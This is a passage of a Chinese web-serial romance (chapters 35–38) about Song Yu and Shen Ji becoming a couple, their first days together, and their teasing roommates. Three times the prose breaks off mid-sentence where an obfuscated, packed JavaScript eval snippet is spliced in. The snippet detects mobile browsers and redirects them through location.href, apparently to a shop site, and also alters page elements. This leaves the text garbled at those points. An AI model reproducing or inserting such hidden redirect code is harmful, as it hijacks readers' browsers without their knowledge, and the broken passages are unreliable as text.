“宋妤，你现在在学校吗？”电话那头很快响起了沈霁的声音。与以往的清朗相比，他的声音变得有些低，似乎带了点含混的鼻音。 宋妤觉察他的异样，声音停顿了下，才开口应道：“在的，我刚看到你的消息。你...” 将要出口的关切之语在唇边徘徊，却终被咽下。沉静了片刻以后，宋妤才接着问：“你有什么事吗？” 沈霁在那头说了个地址，不远，就在学校西门后的那条街。 “宋妤，你现在，可以来找我吗？”沈霁说这话的声音太轻，隔着电话传达到宋妤耳边时带了点忽远忽近的失真感。 “你还记得你之前说过的吗？我心情不好的时候，可以请你帮忙。我...想见你，就现在。可以吗？” 宋妤当然没有忘记那个夜晚在沈霁面前无知无觉作出的那个承诺，她犹豫了下，还是只能开口：“现在可能有点不方便，我们专业课老师找我有点事要商量，我不知道什么时候才能结束。” 电话那头安静了下来，宋妤的心此时却乱了一拍。她忍不住开口向沈霁解释：“我发誓真的不是在找借口不去，真的是临时要过去办公室那里。要不这样，等我结束了再给你打电话，就是可能比较晚，或者我们明天......” 宋妤的话还没说完，电话那头的人终于有了反应。 “没关系，我相信你。”沈霁顿了下，才接着道，“那你忙去吧，待会儿也不用给我打电话了，忙完早点休息吧。” 宋妤还想说点什么，可沈霁那边已经切断了通话。 电话虽然已经切断，宋妤却仍举着手机靠在书桌旁。她的双眼放空，心也跟着飘到别处。 沈霁怎么了？为什么不开心？ 那简单的几句话却让宋妤轻易地触碰到了沈霁外露的情绪。 温青青已经收拾好东西，她抬头看见一向利落的宋妤现在竟然还靠在那发呆，有些惊奇地走过去拍了下她的肩膀：“想什么呢小妤，该出发了！” 宋妤如梦初醒般抬起眼，随意应和了两声以后便开始收拾自己的东西。 跟着温青青一道下了楼以后，宋妤看到路灯下的木制长椅。 宋妤又开始出神，她想起了那个风声瑟瑟的夜晚，她独自一人坐在长椅上因为无法排解的郁闷情绪而流泪时，是沈霁从天而降领走了她。 一并被带走的是，困扰了她一整天的郁郁难平。 宋妤停下了脚步，温青青有些疑惑，转过头去问：“怎么不走了，有什么事吗？” 宋妤深吸口气，抬起眼看向温青青：“青青，我想到了一件很要紧的事情，老师那边我现在可能没办法过去，你帮我一起记下要点，回头请你吃饭。” 温青青有点意外：“什么急事，现在非去不可吗？” 宋妤认真地点头：“是的，非去不可。” ... 沈霁在西街晃荡了很久，他停在这附近的儿童游乐区。这个时间点这里倒是静得出奇，沈霁走过去，坐在那个秋千上仰头看着藏在云层里的月亮。 手机在给宋妤打完那通电话以后就电量耗尽关了机，他把手机揣进了裤兜里，望着天幕中晕成一团的月色发呆。 他的心现在空的厉害，四周太静了，静得沈霁快要感受不到自己的存在。 云层越变越厚，迎面的风变得冷瑟，一点冰凉的湿意落在沈霁的手背。 沈霁抬起眼，有更多冰凉的水滴落在他的发间，沾湿他的眼尾。雨下得更大了些，雨水混杂着他掌心的血色，缓慢地滴落在沙地里。 “沈霁！” 背后忽地响起一个声音，有点熟悉，又因为混杂在响亮的雨声里变得有些模糊不清。 沈霁的神思有点恍惚，他还没有转过身去，因为总疑心是自己出现了幻听。 “沈霁，你怎么坐在这里？” 那个声音再次响起，沈霁来不及去确认，一把雨伞先一步悬在他的头顶，将冰冷的雨幕阻隔在外。他抬起眸，撞入了宋妤充满了担忧的眼。雨伞大幅度地朝他这边倾斜，宋妤的肩头和发尾被雨珠沾湿，她本人却恍若未觉。 宋妤又朝他靠近了一点，语气带了几分焦灼：“我找了你很久，你为什么不接电话？为什么一个人坐在这里淋雨？” 沈霁的目光有些凝滞，声音也跟着变得迟缓：“你来找我？为什么...你不是说你不过来了？” 像是想要确认自己没有出现幻觉那般，沈霁下意识朝宋妤伸出了手，却在看到掌心一片狼藉的血色后又默默停下了动作。 宋妤没有给沈霁收回手的机会，她一把握住了沈霁的那只手腕，目光在那掌心的伤处焦灼地逡巡：“你为什么受伤了？怎么没有处理伤口？” 沈霁盯着握在自己腕上的那只手，没说话。 宋妤不满他的沉默，伸手去拉沈霁没受伤的那只手，用力将他从秋千上拉了起来。 “你跟我走。” 沈霁顺从地跟在宋妤身后，他依旧很安静，近乎依恋地感受着宋妤的指尖贴在自己手腕内侧的温度。 宋妤找了个诊所，给沈霁处理了一下伤口，又开了些包扎用的伤药。沈霁全程都没有说话，只是近乎固执地，不愿松开两人交握的那只手。 宋妤挣了下没挣脱开，就这样放任他牵着自己的手。 雨不知何时停了下来，躲在乌云后头的月亮也露了半张面孔。这个点街上没什么人了，路灯将两人的影子拉得老长。 沈霁不说话，宋妤也不主动开口。两人牵着手，并肩漫无目地走。 到底还是沈霁先忍不住破了功：“你，为什么又来找我了？” 他说这话的声音有点闷，带着点委屈的意味。 “你说不开心的时候要找我帮忙，所以我就来了。”宋妤看着他的眼睛。 沈霁注视着宋妤的眼睛，眼眶就莫名地升起了点热意。他扭过头，没忘嘴硬道：“你不是说有事吗，其实我也没发生什么。” 话说得倒是硬，手上的力道却一点没有收敛，藤蔓似的紧紧缠着宋妤的指尖。 宋妤低头瞥了眼他缠着纱布的左手，没好气道：“这叫没什么？” 见沈霁悻悻移开眼不说话，宋妤到嘴的埋怨又咽了回去，微叹一声后才开口道：“你又不是小孩子了，受了伤还不去处理，还跑出去淋雨。到时候伤口感染了怎么办？” “你会在乎吗？”沈霁没头没脑地来了这么一句。 宋妤愣了下，随后不赞同地蹙起眉： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409227|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不管我怎么想，这是你自己的身体，你应该好好爱惜才对。” “比起那些，”沈霁开口打断了她，“比起那些，我更在意你是怎么想的。你在乎吗？看见我疼，你在乎吗？” 沈霁的眼里多了几分宋妤看不懂的晦暗情绪，语气变得有些急切，甚至是步步紧逼。宋妤缓慢地眨了眨眼，却不知该如何回答。 “沈霁你......” “你就回答在乎吧。”沈霁的手指用了力，将宋妤与他之间的距离拉得更近了些。 他低头紧紧盯着宋妤的眸：“你特意出来找我了，也带我去包扎了伤口。所以就是在意的对吗？不是因为喜欢也没有关系，是可怜我，对，可怜我也可以。” 宋妤觉察到沈霁情绪的失控，她的右手搭上了沈霁的肩，试图让他冷静些：“沈霁，你究竟怎么了？” 沈霁用受伤的左手抓住了宋妤搭在他肩上的那只手：“你先回答那个问题，你是在乎我的对吧？哪怕只有一点也是算的。” 沈霁俨然已经陷入了对那个问题答案执着的疯魔之中，他垂下头用脸蹭上了宋妤的手背，低声轻喃：“我不开心，我真的很难过。你不是来帮助我的吗？只要你说你有点在乎我，就是在帮助我了......” 他靠得实在太近，异样的温度贴在掌心，一路烫到了宋妤的心底。她下意识后退了半步，就是这半步，让沈霁的动作瞬间停滞。 沈霁没有错过宋妤眼底闪过的那抹慌乱，他如梦初醒般，一点一点松开了宋妤的手，慢慢地后退两步，拉开了两人之间的距离。 “我好像有点情绪失控了，吓到你了我向你道歉。”沈霁的面上还能维持一派轻松，心脏却被更深的痛意充斥。 说出那样摇尾乞怜的话他自己都感到羞愧，可原来即使他放下自尊狼狈地向宋妤索取那一点的情意，也不会得到她杯水车薪的施舍吗？ 即使沈霁飞快垂下眼掩去自己悲伤自嘲的神色，宋妤还是敏感地捕捉到了那一刻。她的瞳孔微缩，心也跟着下坠。 她不想伤害眼前这个人，可她下意识的逃避已经对沈霁造成了伤害。 几乎是下意识地，宋妤抓住了沈霁将要收回的手，急切地向他解释：“我没有吓到。” 沈霁没回话，也没有动作。这样的反应让宋妤变得更加急切，繁杂的情绪堆积在心口，却无法找到一个合适的途径喧诸于口。 剖白自己这样的行为对宋妤来说太过陌生，她习惯了沉默，习惯了隐藏，到了必须要将心底的想法说出口的那刻，发出的声音竟是如此艰涩又难听。 “对我来说，你一直都是不一样的。我很在乎，很在意，”宋妤将那些生涩的字眼努力地拼凑在一起，渴望最直接地表达出自己的心意，“以前我没犹豫过，只有对你，我犹豫了。会在意你的想法，我会想......” 前言不搭后语地说了一堆，宋妤都不知道自己究竟说了些什么。异样的情绪控制着她，剖白自己的过程让她头脑发热。酸意也紧跟着涌上鼻腔，宋妤开始有点控制不住眼眶传来的热意。 她正欲继续开口，先一步被沈霁的双臂紧紧拥入了怀中。 “诶，宋妤。” “你说的这些话如果是哄我的，我也已经当真了。” 宋妤缓缓抬起手，回应了这个拥抱。 不知怎的，她忽然想起了何苑对她说过的那番话。 人们很难维持长久的相爱，但相爱的过程都是真实存在过的。 现在的她，想要抓住对彼此心动的现在。 36. 回应确认 临近门禁时间，沈霁才把宋妤送回了女寝楼下。从校外过来这段路不算长，两人交握的手不曾松开半分。 沈霁觉得头重脚轻，整个人轻飘飘的。到楼下以后，宋妤道了声别正准备上去，手腕忽地又被他拉住。 “怎么了？”宋妤回过头看他。 沈霁紧盯着她，心跳快得不正常，他想说的话很多，但一对上宋妤的眼睛就只想把人拉进怀里。他这么想了，也这么做了。 宋妤的脑袋埋在他胸口，瓮声瓮气地问沈霁：“很晚了，我要上去了。” 沈霁低头蹭了蹭宋妤的发间，没忍住又跟她确认了一遍：“宋小妤，我再跟你确认一遍，我们谈恋爱了，我们在一起了对不对？” 宋妤觉得他这反复确认的模样很有趣，一时间没有立刻回答这话。沈霁却将这停顿当成了迟疑和犹豫，握在宋妤腕上的指尖下意识收紧。 他正要继续开口，身后先响起了一个声音。 “宋，宋妤？” 沈霁和宋妤齐齐朝身后望去，就看到了呆立在身后不远处的温青青。宋妤现在还被沈霁揽在怀里，这副模样被舍友撞见，她耳根一热，就要从沈霁的怀里抽离。 可沈霁固执地不撒手。 “你还没回答我，刚才的问题。”沈霁停顿了下，才继续道，“我只接受一个答案，你可不许玩弄我。” 宋妤看了看沈霁，牵起他的手走向正打算溜走的温青青。 温青青回来的时候远远见着楼下有对黏黏糊糊的小情侣，凑近了竟然发现那个女生似乎是宋妤。 惊讶之下，让她没控制住自己，喊了宋妤的名字。那对情侣真的朝她这里看来，那个女生还真是宋妤。不过更更更更让温青青惊掉下巴的还是，抱着宋妤的那个男生，竟然是沈霁。 靠靠靠，这两个人什么时候在一起的！ 温青青一时忘了挪动脚步，所以看到了沈霁耍赖般扣着宋妤的手腕不让她远离。等温青青从这震撼的一幕中回过神以后，她下意识想要逃走。没想到刚走两步，就见宋妤带着沈霁朝自己这边走过来了。 “青青，你是刚结束办公室那边的事才回来吗？”宋妤很平常地向温青青搭话。 温青青愣了下，才磕磕巴巴地回答：“哦，那边，那边很久就结束了，我是顺道出去和对象吃了个夜宵，所以比较晚回来。” 宋妤弯唇笑了下，才继续道：“这次要你单独过去辛苦了，明天请你吃饭。” 说着，宋妤拉过沈霁的手，对温青青道：“青青，原本想找个机会再正式介绍的，但现在正好遇到了。” “他是沈霁，我的......”宋妤的声音忽然卡了壳，她在脑海中疯狂挑选着合适的词汇。 男朋友这两个字有点烫嘴，总觉得说出口有点羞耻。 沈霁握紧宋妤的手主动上前了一步，对温青青道：“你好，你是宋妤的舍友吧，我们上次在体育馆似乎有过一面之缘。我叫沈霁，是宋妤的男朋友。” 他话音刚落，宋妤忍不住挺直了脊背，臊意从耳根往脖颈处蔓延。明明是她主动带沈霁过来介绍给舍友的，可这情况还是有点超出宋妤最初的预设。 不对，她根本没有做过预设。所有的动作几乎是仅凭着冲动，没有思索，毫不犹豫地做着根本不像原先的自己的事情。 只是因为她想要回应沈霁的确认。 恋爱果然很可怕，宋妤没忍住摸了摸自己发烫的面颊。这才第一天，就已经对她产生了这样大的影响。 ... 丁思越真是心烦死了。 本来接了宋妤的电话以后忙前忙后地跟沈家大哥打听沈霁的消息，多少知道了点缘由以后，又焦头烂额地想法子联系沈霁。 这家伙倒好，电话不接微信不回，闭寝前人都没有回来，在丁思越都开始考虑报警的可能性的时候，这人终于出现在了寝室门外。 嘭地一声响，沈霁推开了寝室门。丁思越被吓了一跳，刚想骂他，结果沈霁一个健步冲上前握住了他的肩膀。 “丁思越，快让我掐一下看看你疼不疼，我得确定我真的没在做梦！” 丁思越还没反应过来，沈霁先一步动手掐了一下他手臂上的肉。他是一点没收着劲儿，丁思越痛得嘶了一声。 丁思越收起自己最后那点软心肠，低骂了一句：“你犯什么病呢！” 沈霁对这话没反应，只是低头喃喃：“会疼，看来不是梦。” “我和宋妤，真的在一起了。” 他话音刚落，杜沧和薛子奇从床帘里各自探出脑袋：“成了？！” 等沈霁把每个舍友都闹过一遍，洗漱完毕准备上床睡觉的时候已经很晚。他平躺在床上，却有些辗转反侧。翻来覆去的实在酝酿不出一点困意，一闭眼睛就会想起两人在巷尾的那个拥抱。 那个时候宋妤也环住他的腰了，虽然只是轻轻的搭在他的衣服上，属于宋妤的温度却很清晰地传达到自己的身上。那个时候明明无暇想太多的，怎么现在回想起来心跳得越来越快。 靠靠靠，宋妤真的是他女朋友了！ 只要这个想法开始在脑海里盘旋，沈霁就觉得肾上腺素控制不住地飙升。徒劳地闭上眼睛太久，他索性翻了个身，将床头的手机捞了回来。 对话框的界面停留在宋妤回寝以后两人互道晚安的信息，沈霁将那几句不算太多的对话来来回回又看了好几遍。他打下一行字，又很快地删去。 这个点宋妤应该已经睡了吧，应该提前约好明天去找她的，可那个时候一激动起来什么都忘记了。 沈霁暗暗谴责自己的粗心，一边将聊天记录保存，一边点开微博进入那个熟悉的主页，将那些浏览过多次的博文又温习了一遍。 手机屏幕的光亮打在他的脸上，跳跃的思绪随着时间的推移逐渐平静，困意也不知何时终于一点一点涌了上来。沈霁还是强撑起精神给自己订了个闹钟。 明天早点到来吧，他要去见他的女朋友。 ... 明明是难得没课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482290|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的早上，宋妤却莫名其妙地在七点半就朦朦胧胧地睁开了眼睛。她拿起手机看了眼时间，放下以后翻了个身准备继续酝酿睡意。 可不知怎的，就是没能再次沉入梦境。她索性再次打开手机刷了刷，微信弹出了沈霁发来的消息。 [。：起了吗？起了的话告诉我一声，我带早餐过去给你。] 宋妤在屏幕上敲下文字回复消息，连她自己都没有注意到，此时的唇角正微微弯起。 换好衣服以后，她爬下床洗漱，准备出门觅食去。 出门前宋妤瞥了一眼搁在桌上的梳妆镜，她每次早起脸和眼睛都会有些浮肿，总要过个一两小时才能消下去。宋妤踌躇了一会儿，又从衣柜里翻出棒球帽和口罩戴好，才背上包出门了。 下楼的时候宋妤一眼就看到了等在花坛旁边的沈霁，他穿着一件薄款的黑色冲锋衣，下身的工装裤也是纯黑的，冷调的色彩让那张原本就有些冷淡的脸变得更有距离感。而与那份不近人情的冷感显得格格不入的，则是被他搁在身旁座位上花里胡哨的食盒。 宋妤眯着眼睛看了一眼，确定那个食盒上的卡通图案是蜡笔小新。 果然，没有人能够拒绝蜡笔小新。酷哥也不例外。 宋妤还没出声，沈霁就先一步发现了她。 “你来了啊。”沈霁抬起眸，眉梢漾开笑意。宋妤看着他，一时间没有动作。沈霁就主动抬步走过来，一只手牵起了宋妤的手，另一只手在她眼前晃了晃。 “干嘛发呆，一大早就被我帅到了？” 宋妤别过脸没回话，垂下的眼带了点被道破的心虚。她方才确实有点被沈霁那张脸迷得失了心神。 沈霁长得可真好看，明明不笑的时候那么冷，可笑起来却像三月的风，明朗的，自由的，毫不费力地，就能卷走别人全部的心神。这么想着，宋妤又慢吞吞地抬起头，望向沈霁那双含笑的眼睛。 她戴着口罩，只露出两只清凌凌的眼睛。沈霁看不清她的表情，又凑近了些，低头和她对视。 “今天怎么包得这么严实？还戴了口罩，生病了吗？”沈霁的手指挑起了一缕宋妤被口罩系带压住的耳发。 他凑得这样近，宋妤都能看见那双漂亮的眼睛里属于自己的清晰的倒影。宋妤摇了摇头，这样的距离让躁意在空气中蔓延得太快，她拉开了点两人之间的距离，才开口道：“没有生病，就是起得早我有点肿。” “我看看。”沈霁朝她伸手，而宋妤也没有躲任由沈霁摘下了自己遮住大半张脸的口罩。 这下刚才拉开的那点距离算是全部打了水漂，沈霁离她更近，两人都能清晰地感知到彼此的呼吸。 看着自家女友嫩生生的一张小脸，沈霁真没看出哪里肿了。触在宋妤颊侧的手指感知着她皮肤细软的触感，就这么盯着那双圆润的眼睛，视线跟着逐渐下移，落在那两片樱色的唇瓣上，沈霁的喉结无意识地滚动了一下。 有点...不，是好想。 好像亲一下他的女朋友。 37. 如梦似幻 宋妤察觉到沈霁的目光停留在自己脸上的时间有点久，她抬起手摸了摸自己的脸，问：“是不是很肿？”说着就要将沈霁挑下来的那边系带挂回耳后。 沈霁按住她的手：“哪肿了，还是漂亮得很。这口罩也别带了，闷得慌。” “而且，”沈霁拿起了被他搁在一边的那个蜡笔小新食盒，往宋妤面前一递，“戴着口罩怎么吃饭，快尝尝，还是热的。” 宋妤接过食盒打开，里面是烧麦和虾饺，薄而透的面皮下隐隐可见鲜美的内陷，诱人的香气让人食指大动。不起不会饿，一起就找吃的宋妤被勾动了馋虫，拉着沈霁到就近的食堂找了个位置坐下。沈霁还贴心地准备了一次性手套。 沈霁只说自己已经吃过了，单手撑着下巴看着宋妤吃。他这样直勾勾地盯着，宋妤咀嚼的动作都下意识慢了下来。宋妤垂下眼刻意不去看他，可却能越发清晰地感知到那如有实质的目光。 明明之前好几次都有过这样面对面吃饭的时候。可怎么现在变得这么不自然。 宋妤解决了两个烧麦和三个虾饺以后看着食盒里剩下的食物有些犯难。她早上吃的不多，这会儿已经吃饱了。 沈霁看宋妤举着咬了一口的烧麦发呆，问：“是吃不下了吗？” “能帮我解决一下吗？”光盘强迫症的宋妤看着食盒朝沈霁眨了眨眼睛。 沈霁将那个食盒朝自己拉近了些，又抬起手接过了宋妤咬了一口的那个烧麦，就着那个缺口三两下解决。 见他直接地吃完了自己吃过的食物，宋妤有些不好意思地移开了眼。 沈霁倒是一副无知无觉的模样，他抬起头看向宋妤：“待会儿有课吗？” 宋妤回道：“没课，但是再过会儿得去办公楼找老师商量一下校外研习的事情。大概，再过个20分钟之后过去。” 得知相处时间只剩下20分钟后，沈霁不死心地继续追问：“那下午呢，下午有课吗？” “下午的实验得上一整下午，晚上也有两节晚课。”宋妤侧过头问他，“有什么事吗？” 即使没什么事，也会想要待在一起啊。 不过这样直白的话，沈霁到底没能直白地说出口。 沈霁知道实验楼不能随便进，便问：“那晚上的课我可以和你一起去上吗？我晚上没有课。” 宋妤的晚课是在小教室里上，只有本专业两个班级的人，带个人过去其实有点显眼。 宋妤有点为难，一时间没有马上答话。 沈霁看穿了她的踌躇，他拉起宋妤的手，抿了抿唇，道：“是不方便带我出现在你的同学们面前吗？还是那堂课不允许旁听呢？” “不是的，也是有其他专业的人来旁听过啦。”宋妤只是习惯了低调，习惯了不引入瞩目。其实不愿过多地做出设想，宋妤也明白她和沈霁的恋爱大抵会引起一些关注和议论。 不过，一段感情还是两个人之间的事。高不高调引不引人注目到底都不是最重要的事。 “你很想去吗？”宋妤还是决定先确认一下沈霁的意愿。 “我当然想啊，”沈霁捏了捏宋妤的手指，又慢悠悠地抬眸看了她一眼，“这是我们在一起的第一天，算上现在，就算加上晚课结束后我马上去找你的时间，满打满算我们能待在一起的时间也不超过三小时。” 宋妤跟着喃喃：“三个小时啊......” 不是挺长的嘛。 “是啊，才三个小时。”沈霁握紧了宋妤的手，“带我去吧，我就安安静静地待在你旁边，不会影响你听课的。” 宋妤思考了一下，才道：“倒也...不是怕你影响我啦。”毕竟她自己有时候也会趁着空隙偷看一两眼手机。 沈霁知道宋妤这是同意了的意思，他的眼睛一亮，嘚瑟得不行。他抬起手，想到什么以后又克制地放下，努力压低自己唇角上扬的弧度，做出一本正经的模样：“我保证，保证乖乖的。” ... 一天过得其实很快，尤其是忙碌起来的时候几乎察觉不到时间的流逝。等实验课结束，宋妤收拾好东西和何苑一起出来以后，天都擦黑了。 “每周这一天都觉得自己好可怜。”何苑扁着嘴，“累都累死了，吃个战斗饭，还要继续去上课。” 宋妤正要点头附和，她抬起眸，看向了前方不远处，恰好撞入了沈霁直直望向她的眼。 沈霁大步朝这边过来，他手上还提了两个食品袋，在宋妤面前站定以后，他笑着对二人道：“你们终于下课了。” 何苑看着那张笑得春风得意的帅脸，却是没了往日里那些欣赏帅哥的心思。毕竟是拱自家白菜的猪，即使是只再帅的猪，看着也不会招人喜欢。 何苑这边还在悄咪咪地翻白眼，沈霁那边递过来了一个食品袋。 “你们还没吃饭吧，这个点食堂人很多，你们应该没时间排队吧。我从校外带了饭给你们。” 何苑半睁开眼，刚想拒绝，就从食品袋的印花logo中认出了那是中华街那家死贵死贵的日料，还是一号难求的预约制。本能快理智一步，驱动着何苑伸出了手，还恭敬地补了句谢谢大佬。 宋妤问了句：“你吃了吗？” 沈霁从善如流地接话：“还没呢，想等你一起。” 何苑秒懂了沈霁的潜台词，这下吃人嘴软的她也只能识趣地离开，心不甘情不愿地给这只帅猪和自家水灵灵的小白菜让出二人世界。 等何苑走后，沈霁走到宋妤身旁，接过了她手上捧着的那两本专业书。他把所有东西都换到了左手，右手自然地伸过来握住了宋妤的手。 沈霁的手很大，他修长的手指滑入宋妤的指缝，两人掌心的温度就这样紧密地贴合在一起。 宋妤低头看着自己把紧紧包裹住的手指，无意识地跟着收紧掌心，进一步贴近那近在咫尺的温度。 这个时间点的人流量很大，两个人并肩走在环形跑道上，宋妤能敏锐地感知到不少若有似无的，落在他俩身上的视线。 沈霁对那些目光视若无睹，牵着宋妤的手泰然自若地往前走。他要带着宋妤去游兰餐厅那边吃饭，宋妤有些疑惑地拉了拉沈霁的手。 “三食堂更近，人也没那么多。为什么要去游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573782|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰餐厅？” 沈霁就是故意带着宋妤走这条人最多的路，他也不明白自己究竟是什么样的心理。昨晚和身边的人炫耀了个遍却还是觉得不够，谈恋爱这件事，恨不得昭告天下才好。 宋妤是他的女朋友。是他的。 一想到这里，沈霁就控制不住自己变得雀跃的心脏。想到反正现在目的已经达到，这么招摇了一圈也算是稍微满足了他的那点小心思。 沈霁一本正经地开口：“哦，是吗，我以前没去过那个食堂，那边比较近的话我们就去三食堂。” 吃完饭后就准备去晚课教室，这个时间点不算早也不算晚，不过想占到好一点的位置应该是不能了。话虽这么说，宋妤还是没忍住加快了脚步，想着要是早一点到达说不定还能捡捡漏呢。 沈霁一眼看出她的心思：“慢慢走就行，今晚杜沧有课在附近教室，他过去的时候我让他帮忙占座了。” 宋妤没想到沈霁这么细心，便放慢了脚步和他一起慢慢走。 结果晚课铃响前，两人坐在杜沧‘精心挑选’的座位，看着近在咫尺的讲台和黑板面面相觑。 宋妤缓慢地眨了眨眼睛，她在想杜沧是对占座有什么误解吗?还是说他们信科院上专业课的时候都是抢着占前排的？坐离讲台这么近的地方可是一点摸鱼的机会都没有了。 沈霁当然知道杜沧就是故意使坏，他在心里暗骂了杜沧好几遍。他转过头看了看教室后面的座位，这间教室不算大，现在人都陆陆续续过来了，看起来似乎已经没有更好的可供二人更换的座位了。 “抱歉，杜沧那小子太不靠谱了。我回头找他算账。” 宋妤摇摇头：“坐这也行，还能督促自己好好听课。” 因为做了前排，宋妤这节课上基本不敢有造次的心思，目光始终在PPT和课本之间来回切换，记笔记的态度更是比之前认真了不少。临到下课时，宋妤看着自己课本上工工整整的一行行字，思索着以后要不都挑前排坐的可能性。 “快下课了，下课前有件事先解决下。”讲台上的老师面向大家，“校外实践活动周就要开始了，这边有几份材料发下去大家带回去填一下。” 宋妤和室友温青青都是班委，这个时候就要负责分发材料。温青青已经从后排走上来了，宋妤也站起来，沈霁跟着让出位置让她出去。 刚走到讲台边，拿着资料的老师笑着打量了一下沈霁，目光悠悠地重新落回宋妤身上。 “难得啊，竟然也看到宋妤会带人过来一起上课。”老师扶了下眼镜，“是男朋友吗？” 教室安静了下，随后响起此起彼伏的起哄声。 宋妤囧了一下，但还是点点头承认。 “对，是男朋友。” 沈霁的心头热了一下，绯色顺着耳根往脖颈蔓延。 头重脚轻，脑袋晕乎乎的，仿佛整个人陷进了梦幻的泡沫里，身体虚浮地沉溺在其中。他短短的二十年人生中难得地有那样的时刻。 他悄悄掐了下自己手臂内侧的肉。 嘶，好疼。 确实不是个梦。 38. 真的喜欢 沈霁有些飘飘然。 即使下了晚课后宋妤又被叫去开会，等她开完会时间又已经很晚。这一天里，沈霁和宋妤待在一起的时间好像总是在等待。从前他最不耐烦等待，可现在这些只能安静注视着宋妤的时间，他却觉得过得很快。 把人送回女寝楼下以后，沈霁才有些恍然地回神，发现自己似乎一整天都没来得及和宋妤好好相处。 “今天的你可真是个大忙人。” 沈霁抓着宋妤的手不松开，语气还带上了几分哀怨。 寝室楼下有不少依依惜别的情侣，他俩就是其中之一。虽然沈霁觉得现在只有自己单方面舍不得把宋妤放开。 宋妤缓慢地眨了眨眼睛，将那句下意识要问出的‘还有什么事没说吗？’这种不解风情的问题咽了回去。 她恶补过男女之间恋爱交往的通识和问题。宋妤知道自己在这方面的认识有所欠缺。既然现在和沈霁在一起了，她希望至少心意相通的时光里是愉快的。 宋妤根据当前情景并结合身旁的其他案例进行分析，她的目光瞥向站在树荫底下的两对情侣。其中一对男生将手放在女生的腰肢上，笑着用力将人揽在怀里，并自然地在女生白皙的侧脸上印下一吻。另一对正面对面牵手说着话，然后下一刻两人的身躯迅速贴近，彼此交换了一个缠绵的吻。 他们，都，都亲吻了。 所以情侣之间要分别的时候就应该要亲吻才对吗？沈霁，他也是这个意思吗？ 宋妤有些忐忑地抬起头，视线不自觉地落在沈霁那漂亮的淡色唇瓣上。 宋妤的心跳控制不住地加快了几分。才交往第二天就走这个流程的话会不会有点快？ 沈霁当然不知道宋妤此刻丰富的心理活动，他的注意力全在宋妤身上，只知道宋妤不知怎的又开始神游了。 “发什么呆呢？”沈霁抬手在她眼前晃了晃，“晾了我这么久，现在还不专心。” 宋妤也不知道听进去没有，她没答沈霁这话，一步上前拉近了两人之间的距离。 沈霁有些意外地看着在自己眼前放大的那张俏丽小脸，刚想说话，胸口衣服的布料忽然被宋妤抓住，他顺着那个力道微低下头。然后，一点湿软的触感印在了他的颊侧。 一个转瞬即逝的吻，像一根羽毛悄然拂过他的心脏，又飞快地消失不见。 虽然只是脸颊吻但这样的举动对宋妤来说还是有点超过，下定决心咬着牙行动以后，铺天盖地的臊意很快淹没了她。 “那就先这样，我先回去了。”宋妤的语速都变快乐几分，她甚至不好意思再次看沈霁的眼睛，抽回了自己被攥在沈霁掌心的手，飞快地转头朝女寝里跑去。 将要上楼之前，宋妤还是没忍住悄悄回身望去。 沈霁还站在刚刚那个地方，甚至仍维持着那个微微俯身的动作。他的目光有些凝滞，似乎依旧没有反应过来。宋妤不敢再看，加快脚步上楼去了。 夜幕之中不知何时开始飘起了一点小雨，冰凉的水珠砸在沈霁的鼻尖，又有一抹凉润划过了方才被宋妤吻过的地方。 沈霁终于开始回神，异样的灼热感从耳根向脖颈蔓延开来。他搓了搓自己染上绯色的耳根，半天没能说出一句话。 踩着有些飘忽的步伐，盯着通红的耳根，沈霁不知道自己是怎么回了宿舍。 他一开门，做了‘好事’的杜沧立刻尿遁，躲进了洗手间不敢出来。薛子奇和丁思越在旁边抱着手臂等待看好戏。他们盯着沈霁开门进来，又缓步走到自己的桌前坐下，盯着虚空发呆，从头到尾都安静得过分，想象之中的画面没有出现一帧。 “怎么了小沈同学，”丁思越从后面搭上沈霁的肩，“魂不守舍的，难道才谈一天就被踹了？” “滚滚滚，少咒我，”沈霁没好气地扒拉开丁思越的手，“老子和对象好得很，别瞎蛐蛐我们。” 沈霁转过头，丁思越这时候终于发现了他还没来得及降下温度的耳根。他换上一副了然的笑，用手肘碰了碰沈霁的后背。 “哦，看来是干好事去了，都红温了。” 薛子奇不明白红温是啥意思，厕所里的冲浪一号选手杜沧听到这话，再也躲不下去了，此刻的他早已忘了自己的安危，凭着一腔热血冲了出来，争取走在吃瓜的第一线。 “什么什么好事？”杜沧挤开了薛子奇凑到最前面，“我也要听！是不是亲亲了！” 沈霁没来得及吐槽杜沧一个大男人还说叠词，耳根再次因为脑海中宋妤贴近他落下一吻的画面骤然升温。 薛子奇和杜沧没错过这一幕，异口同声道：“呀，说中了。” 沈霁没好气地给他俩一人来了一下：“单身狗少管！” 